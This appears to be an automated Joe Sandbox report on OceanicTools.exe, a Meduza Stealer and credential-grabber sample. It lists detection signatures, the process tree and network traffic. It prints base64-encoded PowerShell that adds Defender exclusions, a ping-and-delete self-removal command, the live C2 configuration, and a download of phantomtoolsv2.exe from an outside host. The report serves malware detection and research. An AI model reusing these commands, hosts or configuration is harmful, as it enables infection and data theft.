Edit tour

Windows Analysis Report
OceanicTools.exe

Overview

General Information

Sample name:	OceanicTools.exe
Analysis ID:	1532355
MD5:	f975ef6b34160bff3ba3c8c815f9e77c
SHA1:	4b818a41b68f8ed6f6719db14e19f955a60aebe8
SHA256:	ae04f1bc929f6f83a4010f59fcc1f78caea5d198ae3779c7e058608effcc56af
Tags:	exeuser-aachum
Infos:

Detection

CredGrabber, Meduza Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected CredGrabber

Yara detected Meduza Stealer

Yara detected Powershell decode and execute

AI detected suspicious sample

Creates files in alternative data streams (ADS)

Found direct / indirect Syscall (likely to bypass EDR)

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious Ping/Del Command Combination

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Queries time zone information

Sample execution stops while process was sleeping (likely an evasion)

Terminates after testing mutex exists (may check infected machine status)

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

OceanicTools.exe (PID: 3724 cmdline: "C:\Users\user\Desktop\OceanicTools.exe" MD5: F975EF6B34160BFF3BA3C8C815F9E77C)

conhost.exe (PID: 5836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 4204 cmdline: "reg" "query" "SYSTEM\CurrentControlSet\Services\Disk\Enum" MD5: 227F63E1D9008B36BDBCC4B397780BE4)

WMIC.exe (PID: 1096 cmdline: "wmic" "computersystem" "get" "manufacturer" MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

powershell.exe (PID: 7128 cmdline: "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6696 cmdline: "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHlccWZsd2VkdGtpaHV6eXhsZy5leGUi')); Invoke-Expression $cmd" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

qflwedtkihuzyxlg.exe (PID: 1784 cmdline: "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe" MD5: 0C01CFC0685211B3C655C7A9526F1849)

qflwedtkihuzyxlg.exe (PID: 3524 cmdline: "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe" MD5: 0C01CFC0685211B3C655C7A9526F1849)

cmd.exe (PID: 5660 cmdline: "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 6496 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: 2F46799D79D22AC72C241EC0322B011D)

cleanup

Malware Configuration

Threatname: Meduza Stealer

{"C2 url": "79.137.202.152", "anti_vm": true, "anti_dbg": true, "port": 15666, "build_name": "Legenda", "self_destruct": true, "extensions": ".txt;.doc;.docx;.pdf;.xls;.xlsx;.log;.db;.sqlite", "links": "", "grabber_max_size": 1048576}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
OceanicTools.exe	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.2835428358.000001FB10D28000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7128	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x3f2d8:$b2: ::FromBase64String( 0x46a31:$b2: ::FromBase64String( 0xcfe62:$b2: ::FromBase64String( 0xd907b:$b2: ::FromBase64String( 0xe32fb:$b2: ::FromBase64String( 0x12f2da:$b2: ::FromBase64String( 0x12f3b2:$b2: ::FromBase64String( 0x1cefb9:$b2: ::FromBase64String( 0x1cf277:$b2: ::FromBase64String( 0x2149d5:$b2: ::FromBase64String( 0x214aaf:$b2: ::FromBase64String( 0x214d8b:$b2: ::FromBase64String( 0x21502e:$b2: ::FromBase64String( 0x2c9c80:$b2: ::FromBase64String( 0x2c9d58:$b2: ::FromBase64String( 0x2eb674:$b2: ::FromBase64String( 0x2eb74c:$b2: ::FromBase64String( 0x3f2b7:$b3: ::UTF8.GetString( 0x46a10:$b3: ::UTF8.GetString( 0xcfe41:$b3: ::UTF8.GetString( 0xd905a:$b3: ::UTF8.GetString(
Process Memory Space: powershell.exe PID: 6696	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2ed:$b2: ::FromBase64String( 0xd367a:$b2: ::FromBase64String( 0xdacab:$b2: ::FromBase64String( 0x1100bb:$b2: ::FromBase64String( 0x1f5489:$b2: ::FromBase64String( 0x1f5711:$b2: ::FromBase64String( 0x1f580d:$b2: ::FromBase64String( 0x1f5980:$b2: ::FromBase64String( 0x1f5a74:$b2: ::FromBase64String( 0x1f81ba:$b2: ::FromBase64String( 0x1faf5f:$b2: ::FromBase64String( 0x1fb053:$b2: ::FromBase64String( 0x1fbdc6:$b2: ::FromBase64String( 0x1fbeba:$b2: ::FromBase64String( 0x272439:$b2: ::FromBase64String( 0x27252f:$b2: ::FromBase64String( 0x272827:$b2: ::FromBase64String( 0x272ad8:$b2: ::FromBase64String( 0x2b3bda:$b2: ::FromBase64String( 0x2cc:$b3: ::UTF8.GetString( 0xd3659:$b3: ::UTF8.GetString(
Process Memory Space: qflwedtkihuzyxlg.exe PID: 3524	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
Process Memory Space: qflwedtkihuzyxlg.exe PID: 3524	JoeSecurity_CredGrabber	Yara detected CredGrabber	Joe Security
Process Memory Space: qflwedtkihuzyxlg.exe PID: 3524	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 1 entries

Other

Source	Rule	Description	Author	Strings
amsi64_7128.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security
amsi64_6696.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd", CommandLine: "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\OceanicTools.exe", ParentImage: C:\Users\user\Desktop\OceanicTools.exe, ParentProcessId: 3724, ParentProcessName: OceanicTools.exe, ProcessCommandLine: "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd", ProcessId: 7128, ProcessName: powershell.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Suspicious Ping/Del Command Combination

Source: Process started

Author: Ilya Krestinichev: Data: Command: "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe", CommandLine: "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe", ParentImage: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe, ParentProcessId: 3524, ParentProcessName: qflwedtkihuzyxlg.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe", ProcessId: 5660, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd", CommandLine: "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\OceanicTools.exe", ParentImage: C:\Users\user\Desktop\OceanicTools.exe, ParentProcessId: 3724, ParentProcessName: OceanicTools.exe, ProcessCommandLine: "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd", ProcessId: 7128, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T01:40:44.807886+0200	2049441	1	A Network Trojan was detected	192.168.2.5	49962	79.137.202.152	15666	TCP

ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T01:40:44.807886+0200	2050806	1	A Network Trojan was detected	192.168.2.5	49962	79.137.202.152	15666	TCP
2024-10-13T01:40:44.813907+0200	2050806	1	A Network Trojan was detected	192.168.2.5	49962	79.137.202.152	15666	TCP

ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T01:40:44.807886+0200	2050807	1	A Network Trojan was detected	192.168.2.5	49962	79.137.202.152	15666	TCP
2024-10-13T01:40:44.813907+0200	2050807	1	A Network Trojan was detected	192.168.2.5	49962	79.137.202.152	15666	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe:a.dll

Avira: detection malicious, Label: HEUR/AGEN.1354117

Found malware configuration

Source: 14.2.qflwedtkihuzyxlg.exe.140000000.0.raw.unpack

Malware Configuration Extractor: Meduza Stealer {"C2 url": "79.137.202.152", "anti_vm": true, "anti_dbg": true, "port": 15666, "build_name": "Legenda", "self_destruct": true, "extensions": ".txt;.doc;.docx;.pdf;.xls;.xlsx;.log;.db;.sqlite", "links": "", "grabber_max_size": 1048576}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe:a.dll

Joe Sandbox ML: detected

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014006FB80 CryptUnprotectData,LocalFree,	14_2_000000014006FB80
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140035E00 CryptUnprotectData,LocalFree,	14_2_0000000140035E00
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014006FEA0 CryptProtectData,LocalFree,	14_2_000000014006FEA0

Source: unknown

HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49963 version: TLS 1.2

Source: OceanicTools.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400B6740 FindClose,FindFirstFileExW,GetLastError,	14_2_00000001400B6740
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400B67F0 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	14_2_00000001400B67F0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400D00F8 FindFirstFileW,	14_2_00000001400D00F8

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_000000014007EF60 GetLogicalDriveStringsW,

14_2_000000014007EF60

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: D:\sources\migration\	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: D:\sources\replacementmanifests\	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: D:\sources\migration\wtr\	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: D:\sources\replacementmanifests\hwvid-migration-2\	Jump to behavior

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 4x nop then push rdi	11_2_00007FF6351DC950
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 4x nop then sub rsp, 28h	11_2_00007FF6351DC460
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 4x nop then sub rsp, 28h	14_2_00007FF6351DC460
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 4x nop then push rdi	14_2_00007FF6351DC950

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049441 - Severity 1 - ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt : 192.168.2.5:49962 -> 79.137.202.152:15666
Source: Network traffic	Suricata IDS: 2050806 - Severity 1 - ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2 : 192.168.2.5:49962 -> 79.137.202.152:15666
Source: Network traffic	Suricata IDS: 2050807 - Severity 1 - ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP) : 192.168.2.5:49962 -> 79.137.202.152:15666

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping 1.1.1.1 -n 1 -w 3000

Source: global traffic

TCP traffic: 192.168.2.5:49962 -> 79.137.202.152:15666

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: text/html; text/plain; /Host: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /phantomtoolsv2.exe HTTP/1.1Host: 185.208.158.47Accept-Encoding: gzipX-Secret-Phrase: AnalNosorog256

Source: Joe Sandbox View	IP Address: 79.137.202.152 79.137.202.152
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: PSKSET-ASRU PSKSET-ASRU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.208.158.47

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_000000014007C5E0 recv,recv,closesocket,WSACleanup,

14_2_000000014007C5E0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: text/html; text/plain; /Host: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /phantomtoolsv2.exe HTTP/1.1Host: 185.208.158.47Accept-Encoding: gzipX-Secret-Phrase: AnalNosorog256

Source: global traffic

DNS traffic detected: DNS query: api.ipify.org

Source: OceanicTools.exe	String found in binary or memory: http://185.208.158.47/phantomtoolsv2.exe
Source: OceanicTools.exe	String found in binary or memory: http://185.208.158.47/phantomtoolsv2.exeAnalNosorog256X-Secret-Phrase
Source: powershell.exe, 00000009.00000002.2430659101.00000220FAA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 00000009.00000002.2430659101.00000220FAA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micft.cMicRosof
Source: powershell.exe, 00000005.00000002.2227145287.000001AA63A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000005.00000002.2227145287.000001AA63A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro/pki/crl/productCerAut_2010-06-2
Source: OceanicTools.exe	String found in binary or memory: http://https:///&?=-_.~:
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2834681835.000001FB13695000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834648950.000001FB13694000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834605604.000001FB13690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.a.0/sTy
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2654718716.000001FB13681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.a.0/sTyi
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2834681835.000001FB13695000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834648950.000001FB13694000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834605604.000001FB13690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.c.0/ti
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2654718716.000001FB13681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.c.0/tif
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2834681835.000001FB13695000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834648950.000001FB13694000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834605604.000001FB13690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.hotosh
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2654718716.000001FB13681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.hotoshi
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2834681835.000001FB13695000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834648950.000001FB13694000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834605604.000001FB13690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adoraw-se
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2654718716.000001FB13681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adoraw-sei
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2834681835.000001FB13695000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834648950.000001FB13694000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834605604.000001FB13690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.photo/
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2654718716.000001FB13681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.photo/i
Source: powershell.exe, 00000005.00000002.2221407009.000001AA5B74D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2414199760.000002209006D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000009.00000002.2368510448.0000022080227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.2205086606.000001AA4B906000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2368510448.0000022080227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000005.00000002.2205086606.000001AA4B6E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2368510448.0000022080001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2205086606.000001AA4B906000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2368510448.0000022080227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000009.00000002.2368510448.0000022080227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
